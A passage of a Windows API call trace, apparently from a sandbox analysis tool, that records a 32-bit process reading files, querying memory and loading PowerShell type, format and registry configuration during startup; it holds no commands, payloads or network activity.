hFile=0x354, lpBuffer=0x2b65d00, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x14e7d4, lpOverlapped=0x0 | out: lpBuffer=0x2b65d00*, lpNumberOfBytesRead=0x14e7d4*=0x1000, lpOverlapped=0x0) returned 1 [0059.994] GetLastError () returned 0x0 [0059.994] ReadFile (in: hFile=0x354, lpBuffer=0x2b65d00, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x14e7d4, lpOverlapped=0x0 | out: lpBuffer=0x2b65d00*, lpNumberOfBytesRead=0x14e7d4*=0x1000, lpOverlapped=0x0) returned 1 [0059.994] GetLastError () returned 0x0 [0059.994] ReadFile (in: hFile=0x354, lpBuffer=0x2b65d00, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x14e7d4, lpOverlapped=0x0 | out: lpBuffer=0x2b65d00*, lpNumberOfBytesRead=0x14e7d4*=0x1000, lpOverlapped=0x0) returned 1 [0059.994] GetLastError () returned 0x0 [0059.994] ReadFile (in: hFile=0x354, lpBuffer=0x2b65d00, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x14e7d4, lpOverlapped=0x0 | out: lpBuffer=0x2b65d00*, lpNumberOfBytesRead=0x14e7d4*=0x1000, lpOverlapped=0x0) returned 1 [0059.994] GetLastError () returned 0x0 [0059.995] ReadFile (in: hFile=0x354, lpBuffer=0x2b65d00, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x14e7d4, lpOverlapped=0x0 | out: lpBuffer=0x2b65d00*, lpNumberOfBytesRead=0x14e7d4*=0x1000, lpOverlapped=0x0) returned 1 [0059.995] GetLastError () returned 0x0 [0059.995] ReadFile (in: hFile=0x354, lpBuffer=0x2b65d00, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x14e7d4, lpOverlapped=0x0 | out: lpBuffer=0x2b65d00*, lpNumberOfBytesRead=0x14e7d4*=0x1000, lpOverlapped=0x0) returned 1 [0059.995] GetLastError () returned 0x0 [0059.995] ReadFile (in: hFile=0x354, lpBuffer=0x2b65d00, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x14e7d4, lpOverlapped=0x0 | out: lpBuffer=0x2b65d00*, lpNumberOfBytesRead=0x14e7d4*=0x1000, lpOverlapped=0x0) returned 1 [0059.995] GetLastError () returned 0x0 [0059.999] ReadFile (in: hFile=0x354, lpBuffer=0x2b65d00, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x14e7d4, lpOverlapped=0x0 | out: lpBuffer=0x2b65d00*, lpNumberOfBytesRead=0x14e7d4*=0x1000, lpOverlapped=0x0) returned 1 [0059.999] GetLastError () returned 0x0 [0059.999] ReadFile (in: hFile=0x354, lpBuffer=0x2b65d00, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x14e7d4, lpOverlapped=0x0 | out: lpBuffer=0x2b65d00*, lpNumberOfBytesRead=0x14e7d4*=0x1000, lpOverlapped=0x0) returned 1 [0059.999] GetLastError () returned 0x0 [0060.000] ReadFile (in: hFile=0x354, lpBuffer=0x2b65d00, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x14e7d4, lpOverlapped=0x0 | out: lpBuffer=0x2b65d00*, lpNumberOfBytesRead=0x14e7d4*=0x1000, lpOverlapped=0x0) returned 1 [0060.000] GetLastError () returned 0x0 [0060.000] ReadFile (in: hFile=0x354, lpBuffer=0x2b65d00, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x14e7d4, lpOverlapped=0x0 | out: lpBuffer=0x2b65d00*, lpNumberOfBytesRead=0x14e7d4*=0x1000, lpOverlapped=0x0) returned 1 [0060.000] GetLastError () returned 0x0 [0060.000] ReadFile (in: hFile=0x354, lpBuffer=0x2b65d00, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x14e7d4, lpOverlapped=0x0 | out: lpBuffer=0x2b65d00*, lpNumberOfBytesRead=0x14e7d4*=0x1000, lpOverlapped=0x0) returned 1 [0060.000] GetLastError () returned 0x0 [0060.000] ReadFile (in: hFile=0x354, lpBuffer=0x2b65d00, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x14e7d4, lpOverlapped=0x0 | out: lpBuffer=0x2b65d00*, lpNumberOfBytesRead=0x14e7d4*=0x1000, lpOverlapped=0x0) returned 1 [0060.000] GetLastError () returned 0x0 [0060.000] ReadFile (in: hFile=0x354, lpBuffer=0x2b65d00, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x14e7d4, lpOverlapped=0x0 | out: lpBuffer=0x2b65d00*, lpNumberOfBytesRead=0x14e7d4*=0x1000, lpOverlapped=0x0) returned 1 [0060.000] GetLastError () returned 0x0 [0060.001] ReadFile (in: hFile=0x354, lpBuffer=0x2b65d00, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x14e7d4, lpOverlapped=0x0 | out: lpBuffer=0x2b65d00*, lpNumberOfBytesRead=0x14e7d4*=0x1000, lpOverlapped=0x0) returned 1 [0060.001] GetLastError () returned 0x0 [0060.001] ReadFile (in: hFile=0x354, lpBuffer=0x2b65d00, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x14e7d4, lpOverlapped=0x0 | out: lpBuffer=0x2b65d00*, lpNumberOfBytesRead=0x14e7d4*=0x1b4, lpOverlapped=0x0) returned 1 [0060.001] GetLastError () returned 0x0 [0060.001] ReadFile (in: hFile=0x354, lpBuffer=0x2b65d00, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x14e7d4, lpOverlapped=0x0 | out: lpBuffer=0x2b65d00*, lpNumberOfBytesRead=0x14e7d4*=0x0, lpOverlapped=0x0) returned 1 [0060.001] GetLastError () returned 0x0 [0060.001] CloseHandle (hObject=0x354) returned 1 [0060.001] GetLastError () returned 0x0 [0060.001] GetFullPathNameW (in: lpFileName="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\types.ps1xml", nBufferLength=0x105, lpBuffer=0x14e334, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\types.ps1xml", lpFilePart=0x0) returned 0x37 [0060.001] GetLastError () returned 0x0 [0060.001] SetErrorMode (uMode=0x1) returned 0x1 [0060.001] GetFileAttributesExW (in: lpFileName="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\types.ps1xml" (normalized: "c:\\windows\\syswow64\\windowspowershell\\v1.0\\types.ps1xml"), fInfoLevelId=0x0, lpFileInformation=0x2b86590 | out: lpFileInformation=0x2b86590*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd7c2d31c, ftCreationTime.dwHighDateTime=0x1c9ea11, ftLastAccessTime.dwLowDateTime=0xd7c2d31c, ftLastAccessTime.dwHighDateTime=0x1c9ea11, ftLastWriteTime.dwLowDateTime=0xd7c5347c, ftLastWriteTime.dwHighDateTime=0x1c9ea11, nFileSizeHigh=0x0, nFileSizeLow=0x291b4)) returned 1 [0060.001] GetLastError () returned 0x0 [0060.001] SetErrorMode (uMode=0x1) returned 0x1 [0060.001] GetFullPathNameW (in: lpFileName="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\types.ps1xml", nBufferLength=0x105, lpBuffer=0x14e300, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\types.ps1xml", lpFilePart=0x0) returned 0x37 [0060.002] GetLastError () returned 0x0 [0060.002] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="Software\\Microsoft\\PowerShell\\1\\PowerShellEngine", ulOptions=0x0, samDesired=0x20019, phkResult=0x14e758 | out: phkResult=0x14e758*=0x354) returned 0x0 [0060.002] RegQueryValueExW (in: hKey=0x354, lpValueName="ApplicationBase", lpReserved=0x0, lpType=0x14e7a0, lpData=0x0, lpcbData=0x14e79c*=0x0 | out: lpType=0x14e7a0*=0x1, lpData=0x0, lpcbData=0x14e79c*=0x56) returned 0x0 [0060.002] RegQueryValueExW (in: hKey=0x354, lpValueName="ApplicationBase", lpReserved=0x0, lpType=0x14e7a0, lpData=0x257278, lpcbData=0x14e79c*=0x56 | out: lpType=0x14e7a0*=0x1, lpData="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0", lpcbData=0x14e79c*=0x56) returned 0x0 [0060.002] RegCloseKey (hKey=0x354) returned 0x0 [0060.002] GetFullPathNameW (in: lpFileName="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\types.ps1xml", nBufferLength=0x105, lpBuffer=0x14e300, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\types.ps1xml", lpFilePart=0x0) returned 0x37 [0060.002] GetLastError () returned 0x0 [0060.002] GetFullPathNameW (in: lpFileName="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\types.ps1xml", nBufferLength=0x105, lpBuffer=0x14e294, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\types.ps1xml", lpFilePart=0x0) returned 0x37 [0060.002] GetLastError () returned 0x0 [0062.268] VirtualQuery (in: lpAddress=0x14d694, lpBuffer=0x14e694, dwLength=0x1c | out: lpBuffer=0x14e694*(BaseAddress=0x14d000, AllocationBase=0x110000, AllocationProtect=0x4, RegionSize=0x3000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0062.283] VirtualQuery (in: lpAddress=0x14d694, lpBuffer=0x14e694, dwLength=0x1c | out: lpBuffer=0x14e694*(BaseAddress=0x14d000, AllocationBase=0x110000, AllocationProtect=0x4, RegionSize=0x3000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0062.284] VirtualQuery (in: lpAddress=0x14d694, lpBuffer=0x14e694, dwLength=0x1c | out: lpBuffer=0x14e694*(BaseAddress=0x14d000, AllocationBase=0x110000, AllocationProtect=0x4, RegionSize=0x3000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0062.285] VirtualQuery (in: lpAddress=0x14d694, lpBuffer=0x14e694, dwLength=0x1c | out: lpBuffer=0x14e694*(BaseAddress=0x14d000, AllocationBase=0x110000, AllocationProtect=0x4, RegionSize=0x3000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0062.285] VirtualQuery (in: lpAddress=0x14d694, lpBuffer=0x14e694, dwLength=0x1c | out: lpBuffer=0x14e694*(BaseAddress=0x14d000, AllocationBase=0x110000, AllocationProtect=0x4, RegionSize=0x3000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0062.285] VirtualQuery (in: lpAddress=0x14d694, lpBuffer=0x14e694, dwLength=0x1c | out: lpBuffer=0x14e694*(BaseAddress=0x14d000, AllocationBase=0x110000, AllocationProtect=0x4, RegionSize=0x3000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0062.286] VirtualQuery (in: lpAddress=0x14d694, lpBuffer=0x14e694, dwLength=0x1c | out: lpBuffer=0x14e694*(BaseAddress=0x14d000, AllocationBase=0x110000, AllocationProtect=0x4, RegionSize=0x3000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0062.289] VirtualQuery (in: lpAddress=0x14d694, lpBuffer=0x14e694, dwLength=0x1c | out: lpBuffer=0x14e694*(BaseAddress=0x14d000, AllocationBase=0x110000, AllocationProtect=0x4, RegionSize=0x3000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0062.301] VirtualQuery (in: lpAddress=0x14d694, lpBuffer=0x14e694, dwLength=0x1c | out: lpBuffer=0x14e694*(BaseAddress=0x14d000, AllocationBase=0x110000, AllocationProtect=0x4, RegionSize=0x3000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0062.301] VirtualQuery (in: lpAddress=0x14d694, lpBuffer=0x14e694, dwLength=0x1c | out: lpBuffer=0x14e694*(BaseAddress=0x14d000, AllocationBase=0x110000, AllocationProtect=0x4, RegionSize=0x3000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0062.301] VirtualQuery (in: lpAddress=0x14d694, lpBuffer=0x14e694, dwLength=0x1c | out: lpBuffer=0x14e694*(BaseAddress=0x14d000, AllocationBase=0x110000, AllocationProtect=0x4, RegionSize=0x3000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0062.301] VirtualQuery (in: lpAddress=0x14d694, lpBuffer=0x14e694, dwLength=0x1c | out: lpBuffer=0x14e694*(BaseAddress=0x14d000, AllocationBase=0x110000, AllocationProtect=0x4, RegionSize=0x3000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0062.302] VirtualQuery (in: lpAddress=0x14d694, lpBuffer=0x14e694, dwLength=0x1c | out: lpBuffer=0x14e694*(BaseAddress=0x14d000, AllocationBase=0x110000, AllocationProtect=0x4, RegionSize=0x3000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0062.302] VirtualQuery (in: lpAddress=0x14d694, lpBuffer=0x14e694, dwLength=0x1c | out: lpBuffer=0x14e694*(BaseAddress=0x14d000, AllocationBase=0x110000, AllocationProtect=0x4, RegionSize=0x3000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0062.302] VirtualQuery (in: lpAddress=0x14d694, lpBuffer=0x14e694, dwLength=0x1c | out: lpBuffer=0x14e694*(BaseAddress=0x14d000, AllocationBase=0x110000, AllocationProtect=0x4, RegionSize=0x3000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0062.303] VirtualQuery (in: lpAddress=0x14d694, lpBuffer=0x14e694, dwLength=0x1c | out: lpBuffer=0x14e694*(BaseAddress=0x14d000, AllocationBase=0x110000, AllocationProtect=0x4, RegionSize=0x3000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0062.309] VirtualQuery (in: lpAddress=0x14d694, lpBuffer=0x14e694, dwLength=0x1c | out: lpBuffer=0x14e694*(BaseAddress=0x14d000, AllocationBase=0x110000, AllocationProtect=0x4, RegionSize=0x3000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0062.314] VirtualQuery (in: lpAddress=0x14d694, lpBuffer=0x14e694, dwLength=0x1c | out: lpBuffer=0x14e694*(BaseAddress=0x14d000, AllocationBase=0x110000, AllocationProtect=0x4, RegionSize=0x3000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0062.314] VirtualQuery (in: lpAddress=0x14d694, lpBuffer=0x14e694, dwLength=0x1c | out: lpBuffer=0x14e694*(BaseAddress=0x14d000, AllocationBase=0x110000, AllocationProtect=0x4, RegionSize=0x3000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0062.315] VirtualQuery (in: lpAddress=0x14d694, lpBuffer=0x14e694, dwLength=0x1c | out: lpBuffer=0x14e694*(BaseAddress=0x14d000, AllocationBase=0x110000, AllocationProtect=0x4, RegionSize=0x3000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0062.315] VirtualQuery (in: lpAddress=0x14d694, lpBuffer=0x14e694, dwLength=0x1c | out: lpBuffer=0x14e694*(BaseAddress=0x14d000, AllocationBase=0x110000, AllocationProtect=0x4, RegionSize=0x3000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0062.316] VirtualQuery (in: lpAddress=0x14d694, lpBuffer=0x14e694, dwLength=0x1c | out: lpBuffer=0x14e694*(BaseAddress=0x14d000, AllocationBase=0x110000, AllocationProtect=0x4, RegionSize=0x3000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0062.317] VirtualQuery (in: lpAddress=0x14d694, lpBuffer=0x14e694, dwLength=0x1c | out: lpBuffer=0x14e694*(BaseAddress=0x14d000, AllocationBase=0x110000, AllocationProtect=0x4, RegionSize=0x3000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0062.317] VirtualQuery (in: lpAddress=0x14d694, lpBuffer=0x14e694, dwLength=0x1c | out: lpBuffer=0x14e694*(BaseAddress=0x14d000, AllocationBase=0x110000, AllocationProtect=0x4, RegionSize=0x3000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0062.317] VirtualQuery (in: lpAddress=0x14d694, lpBuffer=0x14e694, dwLength=0x1c | out: lpBuffer=0x14e694*(BaseAddress=0x14d000, AllocationBase=0x110000, AllocationProtect=0x4, RegionSize=0x3000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0062.317] VirtualQuery (in: lpAddress=0x14d694, lpBuffer=0x14e694, dwLength=0x1c | out: lpBuffer=0x14e694*(BaseAddress=0x14d000, AllocationBase=0x110000, AllocationProtect=0x4, RegionSize=0x3000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0062.318] VirtualQuery (in: lpAddress=0x14d694, lpBuffer=0x14e694, dwLength=0x1c | out: lpBuffer=0x14e694*(BaseAddress=0x14d000, AllocationBase=0x110000, AllocationProtect=0x4, RegionSize=0x3000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0062.318] VirtualQuery (in: lpAddress=0x14d694, lpBuffer=0x14e694, dwLength=0x1c | out: lpBuffer=0x14e694*(BaseAddress=0x14d000, AllocationBase=0x110000, AllocationProtect=0x4, RegionSize=0x3000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0062.318] VirtualQuery (in: lpAddress=0x14d694, lpBuffer=0x14e694, dwLength=0x1c | out: lpBuffer=0x14e694*(BaseAddress=0x14d000, AllocationBase=0x110000, AllocationProtect=0x4, RegionSize=0x3000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0062.318] VirtualQuery (in: lpAddress=0x14d694, lpBuffer=0x14e694, dwLength=0x1c | out: lpBuffer=0x14e694*(BaseAddress=0x14d000, AllocationBase=0x110000, AllocationProtect=0x4, RegionSize=0x3000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0062.320] VirtualQuery (in: lpAddress=0x14d694, lpBuffer=0x14e694, dwLength=0x1c | out: lpBuffer=0x14e694*(BaseAddress=0x14d000, AllocationBase=0x110000, AllocationProtect=0x4, RegionSize=0x3000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0062.323] VirtualQuery (in: lpAddress=0x14d698, lpBuffer=0x14e698, dwLength=0x1c | out: lpBuffer=0x14e698*(BaseAddress=0x14d000, AllocationBase=0x110000, AllocationProtect=0x4, RegionSize=0x3000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0062.324] VirtualQuery (in: lpAddress=0x14d698, lpBuffer=0x14e698, dwLength=0x1c | out: lpBuffer=0x14e698*(BaseAddress=0x14d000, AllocationBase=0x110000, AllocationProtect=0x4, RegionSize=0x3000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0062.324] VirtualQuery (in: lpAddress=0x14d694, lpBuffer=0x14e694, dwLength=0x1c | out: lpBuffer=0x14e694*(BaseAddress=0x14d000, AllocationBase=0x110000, AllocationProtect=0x4, RegionSize=0x3000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0062.325] VirtualQuery (in: lpAddress=0x14d694, lpBuffer=0x14e694, dwLength=0x1c | out: lpBuffer=0x14e694*(BaseAddress=0x14d000, AllocationBase=0x110000, AllocationProtect=0x4, RegionSize=0x3000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0062.349] VirtualQuery (in: lpAddress=0x14d694, lpBuffer=0x14e694, dwLength=0x1c | out: lpBuffer=0x14e694*(BaseAddress=0x14d000, AllocationBase=0x110000, AllocationProtect=0x4, RegionSize=0x3000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0062.349] VirtualQuery (in: lpAddress=0x14d694, lpBuffer=0x14e694, dwLength=0x1c | out: lpBuffer=0x14e694*(BaseAddress=0x14d000, AllocationBase=0x110000, AllocationProtect=0x4, RegionSize=0x3000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0062.350] VirtualQuery (in: lpAddress=0x14d694, lpBuffer=0x14e694, dwLength=0x1c | out: lpBuffer=0x14e694*(BaseAddress=0x14d000, AllocationBase=0x110000, AllocationProtect=0x4, RegionSize=0x3000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0062.354] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x257278, nSize=0x80 | out: lpBuffer="") returned 0x0 [0062.355] GetLastError () returned 0xcb [0062.359] VirtualQuery (in: lpAddress=0x14d694, lpBuffer=0x14e694, dwLength=0x1c | out: lpBuffer=0x14e694*(BaseAddress=0x14d000, AllocationBase=0x110000, AllocationProtect=0x4, RegionSize=0x3000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0062.369] VirtualQuery (in: lpAddress=0x14d694, lpBuffer=0x14e694, dwLength=0x1c | out: lpBuffer=0x14e694*(BaseAddress=0x14d000, AllocationBase=0x110000, AllocationProtect=0x4, RegionSize=0x3000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0062.370] VirtualQuery (in: lpAddress=0x14d694, lpBuffer=0x14e694, dwLength=0x1c | out: lpBuffer=0x14e694*(BaseAddress=0x14d000, AllocationBase=0x110000, AllocationProtect=0x4, RegionSize=0x3000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0062.370] VirtualQuery (in: lpAddress=0x14d694, lpBuffer=0x14e694, dwLength=0x1c | out: lpBuffer=0x14e694*(BaseAddress=0x14d000, AllocationBase=0x110000, AllocationProtect=0x4, RegionSize=0x3000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0062.370] VirtualQuery (in: lpAddress=0x14d694, lpBuffer=0x14e694, dwLength=0x1c | out: lpBuffer=0x14e694*(BaseAddress=0x14d000, AllocationBase=0x110000, AllocationProtect=0x4, RegionSize=0x3000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0062.372] VirtualQuery (in: lpAddress=0x14d694, lpBuffer=0x14e694, dwLength=0x1c | out: lpBuffer=0x14e694*(BaseAddress=0x14d000, AllocationBase=0x110000, AllocationProtect=0x4, RegionSize=0x3000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0062.372] VirtualQuery (in: lpAddress=0x14d694, lpBuffer=0x14e694, dwLength=0x1c | out: lpBuffer=0x14e694*(BaseAddress=0x14d000, AllocationBase=0x110000, AllocationProtect=0x4, RegionSize=0x3000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0062.376] VirtualQuery (in: lpAddress=0x14d694, lpBuffer=0x14e694, dwLength=0x1c | out: lpBuffer=0x14e694*(BaseAddress=0x14d000, AllocationBase=0x110000, AllocationProtect=0x4, RegionSize=0x3000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0062.378] VirtualQuery (in: lpAddress=0x14d694, lpBuffer=0x14e694, dwLength=0x1c | out: lpBuffer=0x14e694*(BaseAddress=0x14d000, AllocationBase=0x110000, AllocationProtect=0x4, RegionSize=0x3000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0062.379] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="SOFTWARE\\Microsoft\\PowerShell\\1\\ShellIds\\Microsoft.PowerShell", ulOptions=0x0, samDesired=0x20019, phkResult=0x14e81c | out: phkResult=0x14e81c*=0x350) returned 0x0 [0062.379] RegQueryValueExW (in: hKey=0x350, lpValueName="path", lpReserved=0x0, lpType=0x14e884, lpData=0x0, lpcbData=0x14e880*=0x0 | out: lpType=0x14e884*=0x1, lpData=0x0, lpcbData=0x14e880*=0x74) returned 0x0 [0062.379] RegQueryValueExW (in: hKey=0x350, lpValueName="path", lpReserved=0x0, lpType=0x14e864, lpData=0x0, lpcbData=0x14e860*=0x0 | out: lpType=0x14e864*=0x1, lpData=0x0, lpcbData=0x14e860*=0x74) returned 0x0 [0062.379] RegQueryValueExW (in: hKey=0x350, lpValueName="path", lpReserved=0x0, lpType=0x14e864, lpData=0x257278, lpcbData=0x14e860*=0x74 | out: lpType=0x14e864*=0x1, lpData="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\powershell.exe", lpcbData=0x14e860*=0x74) returned 0x0 [0062.379] GetFullPathNameW (in: lpFileName="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0", nBufferLength=0x105, lpBuffer=0x14e3e4, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0", lpFilePart=0x0) returned 0x2a [0062.380] GetLastError () returned 0xcb [0062.380] SetErrorMode (uMode=0x1) returned 0x1 [0062.380] GetFileAttributesExW (in: lpFileName="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0" (normalized: "c:\\windows\\syswow64\\windowspowershell\\v1.0"), fInfoLevelId=0x0, lpFileInformation=0x14e864 | out: lpFileInformation=0x14e864*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x800df312, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x1e4bcac7, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1e4bcac7, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x1000)) returned 1 [0062.380] GetLastError () returned 0xcb [0062.380] SetErrorMode (uMode=0x1) returned 0x1 [0062.382] GetFullPathNameW (in: lpFileName="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\Diagnostics.Format.ps1xml", nBufferLength=0x105, lpBuffer=0x14e3d8, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\Diagnostics.Format.ps1xml", lpFilePart=0x0) returned 0x44 [0062.382] GetLastError () returned 0xcb [0062.383] SetErrorMode (uMode=0x1) returned 0x1 [0062.383] GetFileAttributesExW (in: lpFileName="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\Diagnostics.Format.ps1xml" (normalized: "c:\\windows\\syswow64\\windowspowershell\\v1.0\\diagnostics.format.ps1xml"), fInfoLevelId=0x0, lpFileInformation=0x14e858 | out: lpFileInformation=0x14e858*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5a02ba41, ftCreationTime.dwHighDateTime=0x1ca03f9, ftLastAccessTime.dwLowDateTime=0x5a02ba41, ftLastAccessTime.dwHighDateTime=0x1ca03f9, ftLastWriteTime.dwLowDateTime=0xd2e5e3fc, ftLastWriteTime.dwHighDateTime=0x1c9ea11, nFileSizeHigh=0x0, nFileSizeLow=0x69e2)) returned 1 [0062.384] GetLastError () returned 0xcb [0062.384] SetErrorMode (uMode=0x1) returned 0x1 [0062.384] GetFullPathNameW (in: lpFileName="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\WSMan.format.ps1xml", nBufferLength=0x105, lpBuffer=0x14e3d8, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\WSMan.format.ps1xml", lpFilePart=0x0) returned 0x3e [0062.384] GetLastError () returned 0xcb [0062.384] SetErrorMode (uMode=0x1) returned 0x1 [0062.384] GetFileAttributesExW (in: lpFileName="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\WSMan.format.ps1xml" (normalized: "c:\\windows\\syswow64\\windowspowershell\\v1.0\\wsman.format.ps1xml"), fInfoLevelId=0x0, lpFileInformation=0x14e858 | out: lpFileInformation=0x14e858*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5a1f4ab5, ftCreationTime.dwHighDateTime=0x1ca03f9, ftLastAccessTime.dwLowDateTime=0x5a1f4ab5, ftLastAccessTime.dwHighDateTime=0x1ca03f9, ftLastWriteTime.dwLowDateTime=0xd374b67c, ftLastWriteTime.dwHighDateTime=0x1c9ea11, nFileSizeHigh=0x0, nFileSizeLow=0x5fb2)) returned 1 [0062.385] GetLastError () returned 0xcb [0062.385] SetErrorMode (uMode=0x1) returned 0x1 [0062.385] GetFullPathNameW (in: lpFileName="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\Certificate.format.ps1xml", nBufferLength=0x105, lpBuffer=0x14e3d8, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\Certificate.format.ps1xml", lpFilePart=0x0) returned 0x44 [0062.385] GetLastError () returned 0xcb [0062.385] SetErrorMode (uMode=0x1) returned 0x1 [0062.385] GetFileAttributesExW (in: lpFileName="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\Certificate.format.ps1xml" (normalized: "c:\\windows\\syswow64\\windowspowershell\\v1.0\\certificate.format.ps1xml"), fInfoLevelId=0x0, lpFileInformation=0x14e858 | out: lpFileInformation=0x14e858*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5a051ba0, ftCreationTime.dwHighDateTime=0x1ca03f9, ftLastAccessTime.dwLowDateTime=0x5a051ba0, ftLastAccessTime.dwHighDateTime=0x1ca03f9, ftLastWriteTime.dwLowDateTime=0xd2d2d8fc, ftLastWriteTime.dwHighDateTime=0x1c9ea11, nFileSizeHigh=0x0, nFileSizeLow=0x6aca)) returned 1 [0062.385] GetLastError () returned 0xcb [0062.386] SetErrorMode (uMode=0x1) returned 0x1 [0062.386] GetFullPathNameW (in: lpFileName="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\DotNetTypes.format.ps1xml", nBufferLength=0x105, lpBuffer=0x14e3d8, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\DotNetTypes.format.ps1xml", lpFilePart=0x0) returned 0x44 [0062.386] GetLastError () returned 0xcb [0062.386] SetErrorMode (uMode=0x1) returned 0x1 [0062.386] GetFileAttributesExW (in: 